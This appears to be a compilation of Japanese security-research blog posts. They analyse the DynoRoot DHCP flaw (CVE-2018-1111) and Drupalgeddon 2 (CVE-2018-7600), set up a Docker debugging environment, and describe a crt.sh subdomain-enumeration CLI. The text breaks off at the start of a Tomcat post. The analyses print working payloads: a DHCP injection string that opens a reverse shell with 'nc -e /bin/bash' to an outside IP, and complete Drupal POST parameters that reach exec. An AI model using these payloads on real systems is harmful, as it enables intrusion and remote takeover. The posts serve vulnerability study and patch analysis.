DHCP4_REQUESTED_NIS_DOMAIN=1
DHCP4_REQUESTED_NIS_SERVERS=1
DHCP4_REQUESTED_NTP_SERVERS=1
DHCP4_REQUESTED_RFC3442_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_ROUTERS=1
DHCP4_REQUESTED_STATIC_ROUTES=1
DHCP4_REQUESTED_SUBNET_MASK=1
DHCP4_REQUESTED_TIME_OFFSET=1
DHCP4_REQUESTED_WPAD=1
DHCP4_ROUTERS=10.10.0.1
DHCP4_SUBNET_MASK=255.255.255.0
DHCP4_WPAD=foo

--dhcp-option として渡した値が変数として定義されています。 --dhcp-option の252はWPADの設定になるので、WPADのところを見てみると以下のようになっています。 これは攻撃じゃなく普通の値を渡した場合になります。

DHCP4_WPAD=foo

ではExploitの値を指定した場合と比較しましょう。

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'

途中にシングルクォートが入っています。 結論から言えば、このシングルクォートでexportから抜け出してコマンドが実行されています。

先程のevalから見にくいのでevalを削ったスクリプトを作って実行してみます。

$ cat vuln.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

これを実行すると以下のようになります。

$ ./vuln.sh
export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'

実際のスクリプトでは、この結果をさらに$()で囲ってevalしています。 つまり簡潔に書けば以下になります。

$ eval "$(echo "export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'")"

これはシングルクォートでexportが閉じているため、exportコマンドとncコマンドの2つが実行されます。 この2つめを自由に指定できるため、任意コマンド実行が可能ということになります。

yarrakの後ろの1つめのシングルクォートで一旦閉じて、2つめのシングルクォートも3つめのシングルクォートで閉じて、単に文字列連結になって終了という感じです。

以下とかを見ると分かりやすいかもしれません。

$ export new_wpad='yarrak''a'
$ echo $new_wpad
yarraka

ちなみにexportしたあとを & にしてますが、 ; とかでも良いです。というかこういう時に & でいけるんだな、という感じでした。 バックグラウンド実行するときは一番最後に & 置いてましたが、途中に置いても区切りとして認識されて次のコマンドが実行されるんですね。

あと nc -e もめっちゃ便利ですね。。ただ危険だからか、標準で入ってるやつには -e オプションなかったので攻撃に使えない場合もあるかもしれません。

ということで攻撃の概要としては以上です。

次に修正後について見てみます。

$ cat fixed.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\;nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
$ ./fixed.sh
export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'

-r がついているので、バックスラッシュがそのままになっています。 これをevalしてみます。

$ eval "$(echo "export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'")"
$ declare
...
_='export new_wpad='\''yarrak\'\''\'\'''\'';nc -e /bin/bash 10.10.0.3 1337 #'\'''
...

シングルクォートを抜けられず後ろのコマンドも変数に入ってしまっています。 ですが、bashでシングルクォートのエスケープしたことある方はご存知かと思いますが、あまり単純な話ではありません。

以下はうまくいきません。

$ echo 'abc\'def'

正しくエスケープするためには一旦閉じて、 \'エスケープしたあと文字列を再開する必要があります。

$ echo 'abc'\''def'

これを踏まえて上を見るとyarakのあとのバックスラッシュは無視されて、次のシングルクォートで一旦文字列が閉じます。 次に \' によってシングルクォートになります。 そして次のシングルクォートで文字列が再開され、仕込んだコマンドは文字列の中に入ってしまいます。

このようにシングルクォートを抜けられなくなったため、コマンドが実行されなくなりました。

とはいえ、何か複雑なので頑張れば抜けられるのでは...?という気持ちも少しあります。

まとめ

DynoRoot (CVE-2018-1111) について調査しました。 root権限で任意コマンド実行可能ですが、DHCPの応答として悪意あるパケットを返す必要があり、一般的な構成であればネットワークの外から攻撃可能ではないはずなので危険度は低めかなと思っています。 実際に試したら簡単に成功しました(環境を準備するのは大変だったけど)。 evalはやはり危険だなーという気持ちです。

Drupalの脆弱性調査をするための最高の環境を整えた

Dockerで動かしたDrupalをPhpStormからリモートデバッグ出来るようにした話です。 Drupalって書いてますがPHPのソフトウェア全般に使える話です。

勢いで最高とか言いましたが、さっきドキュメントを読んでいたら以下の方法よりもっと簡単にやれる方法がありそうなので、また分かったら後日書きます。

概要

先日、Drupalgeddon 2(CVE-2018-7600)の脆弱性について調査したのですが、全部Dockerでvar_dumpで頑張ってたら非常に大変でした。

PhpStormとかIDEでデバッガ使いたいなーと思って、実際にやったら便利になった、という記事です。以前Tomcatの時に同じことやっているのでPHP版ですね。

背景

あんまり環境構築には関係ないので興味ない人はスルーで良いです。

脆弱性調査をするエンジニアの特徴として、複数のバージョンを試したりする必要があるため、直接PC上にインストールするのは難しいという事情があります(環境が汚れると別のバージョン入れたらうまく行かなくなったりするので)。
また、PHPのバージョンも変えたいな〜とかなるともうしんどいです。phpenvとかはもちろんありますが、掛け算で組み合わせあるのでよく分からなくなってきます。
他の人も調査したいって言ったときに環境を説明するのも面倒です。あとは手順渡してもうまくインストールできなかった、とかもあります。

これらを考えるとDockerは脆弱性調査をするエンジニアにとってはこれ以上無いツールです。3年ぐらい前からDockerを使って調査をしてたのですが、ここらへんかなり知見をためつつあるのでどこかで話そうかなーと思ったりもしてます。

ただし、デバッグがしにくい問題もあります。いちいちコンテナに入ってvimで編集したりしていて、環境構築のコストは下がるけど結局調査のコストが高いままだな...と思っていました。しかし脆弱性調査は急にやってくるため、環境構築に時間をかけすぎるわけにもいかず結局vimで頑張って終わることが多かったです。
そして一度調査が終わってしまうとリモートデバッグとかの構築するの面倒になって、いつもやらずに終わってました。
しかし今回、Drupalが短い期間で再度脆弱性を公表するということで、やる気を出して設定してみました。 一度やったらかなり便利になったので共有です。

詳細

DockerでDrupalを動かして、それをPhpStormでデバッグしたいなーと思ったのですが、以下の記事は非常に参考になりました(ありがとうございます)。

blog.shin1x1.com

Xdebugを動かしてリモートデバッグする方法になります。
自分はMacでPhpStormを起動して、Docker上のDrupalをリモートデバッグしてみました。

環境

サンプル

いつでも簡単に試せるようにセットをGitHub上に置いておきました。 github.com

以下みたいな感じで打てば使えると思います(多分)。
何やってるかについて次から説明していきます。

$ git clone https://github.com/knqyf263/docker-drupal.git
$ cd docker-drupal/8.5.2/docker
$ ./install.sh
$ cd ..
$ docker-compose up -d

Dockerイメージ作成

今回のやり方としては、MacDrupalソースコードを落としてDockerにマウントする形になります。そのため、既存のdrupalのイメージは使わずに自分で作りました(xdebugもインストールしたかったので)。

本当はDrupalのダウンロードも含めてDockerfileに書きたかったのですが、Docker上のファイルをMac側にマウントする方法がわからず断念しました。もしご存じの方がいたら教えてください。

作ったのは以下のDockerfileになります。

https://github.com/knqyf263/docker-drupal/blob/master/docker/8.5.2/Dockerfile

あとはMac上にDrupalソースコードをダウンロードしておく必要があるので、適当なシェルスクリプトを書きました。 Drupalのバージョンは8.5.2になってますが、簡単に変えられるようになっています。

https://github.com/knqyf263/docker-drupal/blob/master/docker/8.5.2/install.sh

docker-compose.yml作成

今回はコンテナ一つですが、マウントの設定など覚えておくの面倒なのでDocker Composeを使います。

ファイルは以下になります。

https://github.com/knqyf263/docker-drupal/blob/master/docker-compose.yml

単に上で作ったDockerイメージを起動してるだけです。

起動します。

$ docker-compose up -d

Xdebugの設定

php.iniでXdebugを有効にする設定をします。

以下のような感じ。

https://github.com/knqyf263/docker-drupal/blob/master/docker/php.ini

xdebug.remote_hostをdocker.for.mac.host.internalにしてます。Docker内からMacIPアドレスを解決するときに使えるドメイン名なのですね。今回初めて知りました。

PhpStormの設定

プロジェクトのトップディレクトリをPhpStormで開きます。

Remote Debug

先程の参考サイトを見てもらったほうが早いですが、一応メモがてら残しておきます。

まず「Run」→「Edit Configurations」を開きます。

f:id:knqyf263:20180425175850p:plain

左上の「+」を押して「PHP Remote Debug」を選択します。

f:id:knqyf263:20180425185431p:plain

Serverの右の「...」を押すとウィンドウが開くので、左上の「+」を押して追加します。

以下のように設定します。

Host: localhost
Port: 8000
Debugger: Xdebug

そして、「Use path mappings」でdrupalソースコードが入っているディレクトリを /var/www/htmlマッピングします。

以下の画像のようになります。

f:id:knqyf263:20180425185839p:plain

「OK」で戻ったあと、「Server」が先程作ったものになっているか確認します。

Ide keyはphp.iniで指定したものにします。 php.iniで書かなければこっちも設定要らないのですが、何となく設定してみました。

あとは「Name」を適当につけると以下のようになります。

f:id:knqyf263:20180425190222p:plain

これで設定は完了です。

実行

「Run」→「Start Listening for PHP Debug Connections」にチェックを入れます。これによりXdebugのサーバが立ち上がります(多分)。

f:id:knqyf263:20180425190456p:plain

あとはブレークポイントを貼ってリクエストを投げるだけです。 PhpStormでデバッグボタンとか押さなくても勝手にデバッグモードになります。

任意コードが実行される瞬間も丸見えですね。

f:id:knqyf263:20180425190856p:plain

まとめ

Drupal脆弱性調査用の環境を整えました。
Drupalに限らずPHP全般に使えるため、今後楽になりそうです。

今日の深夜にDrupal脆弱性が新しく公表されるらしいので、早く寝て早く起きて環境を整えて待ちましょう。

Drupalgeddon 2(CVE-2018-7600)について調べてみた

少し前に出たDrupal脆弱性(CVE-2018-7600)ですが、攻撃コードも出たので調査し直しました。 まだ分かっていないところもあるのですが、一旦まとめておきます。 ツッコミ歓迎です。

概要

Drupal は 2018年3月28日 (現地時間) にセキュリティアドバイザリ情報(SA-CORE-2018-002) を公開しました。公開された情報によると Drupal には、リモートから任意のコードが実行可能となる脆弱性 (CVE-2018-7600) が存在し、この脆弱性を悪用することで、遠隔の第三者が、非公開データを窃取したり、システムデータを改変したりするなどの可能性があるとのことです。 (https://www.jpcert.or.jp/at/2018/at180012.html より引用)

影響があるバージョンは以下です。

  • Drupal 8.5.1 より前のバージョン
  • Drupal 7.58 より前のバージョン

任意コード実行なので危険度は高いです。exploitコードも公開されたため、もし利用している方は早急にアップデートしたほうが良いです。

修正内容

Drupalチームによるパッチは以下になります。

github.com

RequestSanitizerというクラスが作られ、preHandleという箇所で呼ばれています。 このpreHandleは名前からわかるように、リクエストに必ず適用される処理のようです(本当に必ずかはコード読んでないですが、デバッグした感じは毎回通ってました)。

そして重要な処理は以下になります。

SA-CORE-2018-002 by Jasu_M, samuel.mortenson, David_Rothstein, xjm, m… · drupal/drupal@19b69fe · GitHub

if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
    unset($input[$key]);
    $sanitized_keys[] = $key;
}

key名が#から始まってたら、そのキー名は除くようになっています(ホワイトリストに登録されているものは許可されています)。

そして、この stripDangerousValues はGET/POST/Cookieのそれぞれについて適用されるようになっています。 このパッチから、#で始まるパラメータが渡ってくるとまずいことになる、というのが想像できます。

DrupalにはForm APIというものがあり、簡単にフォームを作ることができるようです。

Form and render elements | Drupal 8.5.x | Drupal API

このForm APIはmetadataとして、内部で#を利用しておりPOST等でそれを上書きできると想定しない挙動を引き起こすことが出来るのかな?という予想ができます。

その予想を基に自分でもexploitを書くべく結構数時間ぐらい頑張ったのですが、全然書けず諦めました。buildFormとか周りでcall_user_funcしてるし怪しいな〜と思ってデバッガ使ったりして追っていたのですがたどり着けず。。

攻撃コード

以下で解説されていました。基本的に以下の説明はDrupal8に関するものになります。

Uncovering Drupalgeddon 2 - Check Point Research

先にまとめておくと、認証不要なユーザ登録ページに対して任意コード実行可能な攻撃コードとなっているため、特に前提条件なく影響を受けるのではないかと思います。ですが、payloadとしては特徴的になるのでアップデートできない環境でも対策の方法は色々ありそうです。

以下で詳細についてまとめますが、かなり詳細なので興味ある人以外は読まなくて良いと思います。

Render arrays

攻撃可能なのはRender arraysと呼ばれるarrayのようです。このarray内の属性に応じてHTMLが動的に組み立てられる感じかと思います。

Render arrays | Drupal 8 guide on Drupal.org

このarrayはRender APIで利用されるようですが、上記の解説ブログにはRender APIについて書かれておらず、Form APIと書かれているようなのでよく分からなくなりました。

このRender arraysはRender APIとForm APIで共通して使われるもののようですが、今回悪用されているパラメータはRender APIで利用されるものですし、実際に攻撃が刺さるのも core/lib/Drupal/Core/Render/Renderer.php とかなので、Render API脆弱性なんじゃないかと思っていますが、Drupal詳しくないのでよく分かってないです。

Render arrays内の属性は上記のドキュメントにあるように、 #type のように#から始まります。 脆弱性の概要としては、この#から始まるパラメータを送信することで、このRender arrays内の属性を不正に書き換えることによる脆弱性、ということになります。 概要だけ見れば知ってた、って感じですが実際に攻撃に繋げるのは予想より大分難しかったですね。

上記の解説によると、emailのフィールドはサニタイズされておらず、POSTによってmailのarrayに#から始まる値を注入できたとのことです。 https://research.checkpoint.com/wp-content/uploads/2018/04/Fig3.png

しかし、今度はそのarrayをレンダリングする必要があります。これが難しい。。

結論としては、DrupalAjax APIで画像をアップロードする箇所に脆弱な箇所がありました。 ただ、多分ここだけじゃないと思っています。追記するかもしれません。

uploadAjaxCallbackを見ると、GETパラメータのelement_parentsを取り出し、それをrenderRootレンダリングしていることが分かります。 なので、element_parentsに先程注入したarrayを呼ぶようなパラメータを渡してあげれば良さそうです。

  public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');
    $form_parents = explode('/', $request->query->get('element_parents'));
    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);
    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
      $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }
    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);
    $response = new AjaxResponse();
    $response->setAttachments($form['#attached']);
    return $response->addCommand(new ReplaceCommand(NULL, $output));
  }

drupal/ManagedFile.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

以下でexploitコードが公開されているので、こちらを見ると element_parents=account/mail/%23value のようにして渡してあげると良いようです。

github.com

これで無事に渡したarrayがレンダリングされます。 あとは任意コードを実行するだけです。 任意コード実行するために利用できそうなパラメータは4つある、とのことでした。

  • #access_callback
  • #pre_render
  • #lazy_builder
  • #post_render

post_render編

このうち、上記のexploitコードでは #post_render を利用しています。 実際に攻撃が発動するのは以下になります。

    if (isset($elements['#post_render'])) {
      foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
      }
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

call_user_func は危険ですね。こいつの第一引数に呼ぶ関数を渡せます。マニュアルは以下。

PHP: call_user_func - Manual

なので、$callable に例えばexecを渡してあげればOSコマンドが実行できそうです。 $elements['#post_render']をforeach文で回していることから、ここにはarrayが入る必要があります。 そこで、'mail[#post_render][]': 'exec' のような感じでarrayになるようにPOSTのパラメータを調整します。

そして肝となるのは第二引数です。ここに実行するコマンドを渡す必要があります。 Drupalのコードを見ると $elements['#children'] となっています。では#childrenで入れれば良いのかというと、そんなに簡単ではありません。 直前のコードを見ると $elements['#children'] に代入等を何箇所かで行っているため、外からPOSTで渡してもcall_user_funcに到達する前に値が変わってしまいます。

では先程のexploitでどうやっているかというと、'mail[#markup]': 'echo ";-)" | tee hello.txt' のようにしています。 実は、#markupに入れておくと #childrenに入ります。

    if (!$theme_is_implemented && isset($elements['#markup'])) {
      $elements['#children'] = Markup::create($elements['#markup'] . $elements['#children']);
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

#children の中身を見てみます。

  '#children' =>
  Drupal\Core\Render\Markup::__set_state(array(
     'string' => 'echo ";-)" | tee hello.txt',
  )),

上記のように、Markupクラスになっていることが分かります。 上でMarkup::createしているので当然ではあるのですが、stringではないためexecに渡してもコマンドは実行されなさそうに見えます。 そこでMarkupクラスを覗くとMarkupTraitをuseしていることが分かります。

final class Markup implements MarkupInterface, \Countable {
  use MarkupTrait;
}

drupal/Markup.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

そしてMarkupTraitを覗くと、__toString() が定義されていることが分かります。

  public function __toString() {
    return $this->string;
  }

drupal/MarkupTrait.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

この __toString() のおかげで、call_user_funcに渡しても暗黙的にstringとして扱われて実行されます(多分)。 少なくとも __toString() を実装したクラスであればexecの引数として渡しても実行されました(__toString()がないと実行されなかった)。

ということで、無事にexecに任意の文字列を渡すことが出来たため、任意コード実行可能になりました。 まとめると、

user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax といった感じでGETのクエリストリングを指定して自分の注入するarrayをレンダリングさせつつ、{'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'} のように #post_render に実際に実行して欲しいコード(関数)を入れる感じです。#markup にそのコマンドの引数を入れておきます。

おまけ:PHPバージョンでの差異

実は上記のexploitはPHP 7.2などでは動作しますが、PHP 7.0系では動作しません。 というのは、call_user_funcの挙動が異なるためです。 上に載せたDrupalのコードでは、第三引数に$elementsという余計なものが渡されています。

$elements['#children'] = call_user_func($callable, $elements['#children'], $elements);

これがあると、PHP 7.0系ではうまく実行されません。 以下のようなサンプルのファイルを適当にtest.phpとかで保存します。 このファイルではcall_user_funcの最後に $a という余計なarrayを渡しています。

<?php

$a = array("a"=>"b");

call_user_func("exec", "wget http://example.com", $a);

これをPHP 7.0系で実行すると、Warningが出るだけで実行されません。 しかし、PHP 7.2系ではwgetが実行されます。

$ php test.php
Warning: Parameter 2 to exec() expected to be a reference, value given in /tmp/test.php on line 5

そのような違いから、DrupalのバージョンだけでなくPHPのバージョンによる差も生まれています。

lazy_builder編

ブログではlazy_builderを使っていましたので、そちらでの攻撃も試してみたいと思います。

まず、先程と同様、lazy_builderがcall_user_funcに渡される場所を探します。 すると、以下でcall_user_func_arrayに渡されていることがわかります。

    if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

call_user_func_arrayは名前から分かる通り、call_user_funcの引数がarray版ですね。 コードを読むとわかりますが、0番目をcallableにして、1番目をargsにしています。 先程のpost_renderより簡単そうですね。

ということで、exploitを書き換えて試してみましょう。

'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1]': 'whoami'

上のように#lazy_builder に指定します。

[Fri Apr 13 17:21:53.742017 2018] [php7:notice] [pid 391] [client 172.17.0.1:38562] Uncaught PHP Exception DomainException: "A #lazy_builder callback's context may only contain scalar values or NULL." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 315

するとエラーで怒られます。確かにargsはarrayじゃないとダメでした。ということで修正します。

'mail[#lazy_builder][0]': 'exec', 'mail[#lazy_builder][1][]': 'whoami'

argsの方がarrayになるように修正しました。すると今度は違うエラーが出ます。

[Fri Apr 13 17:23:00.624109 2018] [php7:notice] [pid 392] [client 172.17.0.1:38564] Uncaught PHP Exception DomainException: "When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: #suffix, #prefix." at /var/www/html/core/lib/Drupal/Core/Render/Renderer.php line 333

許可されていないkey名が存在するぞと言われています。該当箇所を見ると以下のようになっています。

      $supported_keys = [
        '#lazy_builder',
        '#cache',
        '#create_placeholder',
        // The keys below are not actually supported, but these are added
        // automatically by the Renderer. Adding them as though they are
        // supported allows us to avoid throwing an exception 100% of the time.
        '#weight',
        '#printed'
      ];
      $unsupported_keys = array_diff(array_keys($elements), $supported_keys);
      if (count($unsupported_keys)) {
        throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
      }
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

確かに#prefix#suffix は許可されていません。 しかし、いつ勝手に付与されたのか不明なので調べてみると上で貼った uploadAjaxCallback の中にありました。 しかもrenderRootの前に呼ばれており、この#prefixがkeyとしてセットされないようにするのは難しそうです。

$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);

$elementsをdumpしてみると、たしかに#prefixや#suffixが入っています。

array (
  '#lazy_builder' =>
  array (
    0 => 'exec',
    1 =>
    array (
      0 => 'whoami',
    ),
  ),
  '#suffix' => '<span class="ajax-new-content"></span>',
  '#prefix' => '',
  '#cache' =>
  array (
    'contexts' =>
    array (
      0 => 'languages:language_interface',
      1 => 'theme',
      2 => 'user.permissions',
    ),
  ),
)

自分はここで詰んだのですが、ネット上をパトロールしていたところどうやらrender関数は再帰的にchildrenも呼んでくれるようです。 以下のコードを見ると、確かに$childrenに対してforeachを回してdoRenderしています。

    if ((!$theme_is_implemented || isset($elements['#render_children'])) && empty($elements['#children'])) {
      foreach ($children as $key) {
        $elements['#children'] .= $this->doRender($elements[$key]);
      }
      $elements['#children'] = Markup::create($elements['#children']);
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

$childrenは以下で取得しています。

    // Get the children of the element, sorted by weight.
    $children = Element::children($elements, TRUE);

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

なので、#lazy_builderはさらにchildrenに入るようなリクエストにしてあげると良さそうです。 つまり以下のようになります。

'mail["a"][#lazy_builder][0]': 'exec', 'mail["a"][#lazy_builder][1][]': 'echo vuln > hello.txt'

そうすると以下のような綺麗な状態で$elementsに渡ってくるため、無事に #lazy_builder で発動します。

array (
  '#lazy_builder' =>
  array (
    0 => 'exec',
    1 =>
    array (
      0 => 'echo hello > hello.txt',
    ),
  ),
)

ということで無事に成功しました。 こちらはPoCが見つからなかったので自分で作成したものを置いておきました。

github.com

さらに、こちらだとcall_user_funcの挙動の差異の影響を受けないため、PHP 7.0系でも刺さります。

検証

自分のやった検証の方法も一応載せておきます。

$ docker run -d --name drupal -p 8080:80 drupal:8.5.0-apache

この状態で、http://localhost:8080 にアクセスしてDrupalの初期セットアップを行います。 それが済んだら先程の自分のexploitを実行するだけです。

$ python3 exploit.py

まとめ

Drupalの任意コード実行の脆弱性が公開されて自分でもPoCを書こうと頑張ったのですが無理でした。 PoCが公開されたと聞いて悔しい気持ちを抱えつつ内容を見たのですが、これはDrupalを深く知らない自分では気づくの無理だな...と思いました。 かなりいろんな制約をかいくぐって任意コード実行まで漕ぎ着けており、不覚にも美しさを感じました。

危険度がよりいっそう高まったので、Drupal利用者は早急にアップデートしましょう。

Certificate Transparencyのログサーバからドメイン名一覧を取得してみた

Certificate TransparencyについてSCT埋め込まれてるんだなーぐらいのふわっとした理解だったので勉強し直していたのですが、ログサーバは誰もでアクセス可能だからログサーバに登録されている証明書からドメイン名の一覧を取得できてしまう、というのを見て自分でも試してみました。

有識者の間では常識みたいなので、特に大した内容ではないです。

概要

Certificate Transparency(CT)の説明は参考ページなどを見てもらうとして、今回はログサーバからドメイン名を取得できてしまう問題について試してみます。 ということで数日前ぐらいからログサーバからひたすらデータを引っ張ってくるやつを作ってみようと思っていたら、既にあることを昨日知りました。

crt.sh

なのでここで検索してみれば終わりって感じなのですが、CLIにしておくといつか使えるかなと思って作りました。

参考

詳細

crt.shというところがCTのログサーバからデータを貯めておいてくれているようです。そしてこいつがどうやらJSONでの出力に対応しているようなので、API的に使ってCLIを作りました。

github.com

以下のように --domain のオプションに渡すと、それにマッチするドメイン名を全て取得してくれます(もちろんログサーバに登録されてるものだけですが)。

$ crtsh search --domain %.example.com
+----------------------+--------------------------------+---------------------+
|         NAME         |             ISSUER             |     NOT BEFORE      |
+----------------------+--------------------------------+---------------------+
| www.example.com      | C=US, O=DigiCert Inc,          | 2014-11-06T00:00:00 |
|                      | OU=www.digicert.com,           |                     |
|                      | CN=DigiCert SHA2 High          |                     |
|                      | Assurance Server CA            |                     |
| www.example.com      | C=US, O=DigiCert Inc,          | 2015-11-03T00:00:00 |
|                      | OU=www.digicert.com,           |                     |
|                      | CN=DigiCert SHA2 High          |                     |
|                      | Assurance Server CA            |                     |
| dev.example.com      | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| products.example.com | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| support.example.com  | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| www.example.com      | C=US, O=Symantec Corporation,  | 2016-07-14T00:00:00 |
|                      | OU=Symantec Trust Network,     |                     |
|                      | CN=Symantec Class 3 Secure     |                     |
|                      | Server CA - G4                 |                     |
| *.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| m.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| www.example.com      | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| *.example.com        | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
| www.example.com      | C=US, O="thawte, Inc.",        | 2016-07-14T00:00:00 |
|                      | CN=thawte SSL CA - G2          |                     |
+----------------------+--------------------------------+---------------------+

今までサブドメイン名を探すためにMetasploitやその他のOSINTツールを使ったりしていたかと思いますが、こちらでも似たことができます。 ただし、OSINTツールはGoogle検索の結果なども使っており、HTTPS対応していないドメイン名も取得できるため、必ずしもログサーバからの検索の方が網羅性が高いとは限りません。 今後HTTPS対応のサイトが増えてログサーバに登録される証明書が増えれば検索できるドメイン名はどんどん増えていくと思います。

OSINTツールの紹介をした以下のような記事もあるようです!

qiita.com

VPNサーバを探したりとか、色々と攻撃に使えそうで捗りますね(もちろん自分の管理外のサーバへの攻撃は駄目です)。

また、queryを投げることができるのでOrganization名などでも検索できます。

$ crtsh search --query Facebook
+-------------------------------+---------------------------+----------------------+---------+---------------------------+
|          COMMON NAME          |       ORGANIZATION        |       LOCALITY       | COUNTRY |         NOT AFTER         |
+-------------------------------+---------------------------+----------------------+---------+---------------------------+
| *.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| connect.facebook.net          | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| m.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | May 11 23:59:00 2013 GMT  |
| facebook.drivebenfield.com    | Benfield Motor Group      | Newcastle upon Tyne  | GB      | Sep 26 23:59:59 2017 GMT  |
| m.ak.fbcdn.net                | Facebook                  | Palo Alto            | US      | Apr 4 14:12:07 2014 GMT   |
| connect.facebook.net          | Facebook                  | Palo Alto            | US      | Apr 1 14:12:51 2014 GMT   |

これは全文検索みたいな感じなので、Organization名じゃなくCommon Nameの方でヒットしたりもしてますね。 ちなみにcrt.shで検索しても一覧にドメイン名は表示されないので、こっちのツールを使うほうが便利です!!

crt.sh | Facebook

少し実装について説明すると、crt.shのGETパラメータに output=json をつけるとJSONで返してくれるのでそれをパースするだけです。簡単!

と思ったのですが、何故かJSONで返してくれないページが多いです。あとJSON内に欲しい情報がないことも多かった。 crt.shのバグじゃないかなーと思ってます。 ということで、裏側ではそれぞれのページをスクレイピングして取ってきていたりします。 なのでレイアウト変わると死にます。 開発時間2時間ぐらいなので仕方ない。

まとめ

自分でログサーバから証明書を定期的に取ってきて貯めようと思ったらすでに存在しました(存在するだろうとは思ってましたが)。 仕方ないので自分でCLI作ってcrt.shから間接的にドメイン名一覧を取得したりして遊びました。 OSINTに使えてしまうので、内部でしか使わないドメイン名に証明書発行するときはログサーバに登録されないようにとか、ちゃんと考えないとなーと思いました。 EV以外はログサーバに登録しないところもあるみたいですが、今後どうなるかは分かりませんね。。

Tomcatの脆弱性(CVE-2018-1304) について調べてみた

Tomcat脆弱性(CVE-2018-1304, CVE-2018-1305)が先日公開されました。 最近自分が触ったことのないものの脆弱性を調べたりしているので、その一環で挑戦してみました。

脆弱性のあるバージョンとかは参考サイトを確認して下さい。 今回はどういう設定にすると脆弱性の影響があるのか、またそれの検証とTomcatソースコードデバッグあたりをやっていきます。 Tomcatmavenなど素人なので、とりあえず動かしてみたものの一般的じゃない設定なども多いかもしれません。 もし気付いた方がいればご指摘頂けると幸いです。

